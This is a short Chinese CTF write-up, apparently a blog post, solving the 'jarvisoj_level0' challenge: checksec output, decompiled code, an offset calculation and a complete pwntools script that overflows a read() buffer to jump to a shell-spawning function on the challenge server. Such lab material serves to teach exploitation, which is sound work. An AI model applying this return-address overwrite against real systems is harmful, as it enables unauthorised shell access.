jarvisoj_level0

  1. checksec jarvisoj_level0

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

  1. 拖进IDA64,找到main()反编译
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function();
}

因此关键在vulnerable_function()

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}
  1. 利用read()实现栈溢出,因为buf的范围在[rsp+0h] [rbp-80h],再加上rbp的8字节,所以需覆盖"a"*(0x80+8)后到达返回地址。同时发现有个函数callsystem()可以获得shell
  2. 所以payload后加上该函数的地址0x400596
  3. 完整代码如下
from pwn import *

p = remote('node3.buuoj.cn', 29317)

payload = 'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
  1. 运行后,ls cat flag即可
posted @ 2020-10-12 23:54  vict0r  阅读(902)  评论(0编辑  收藏  举报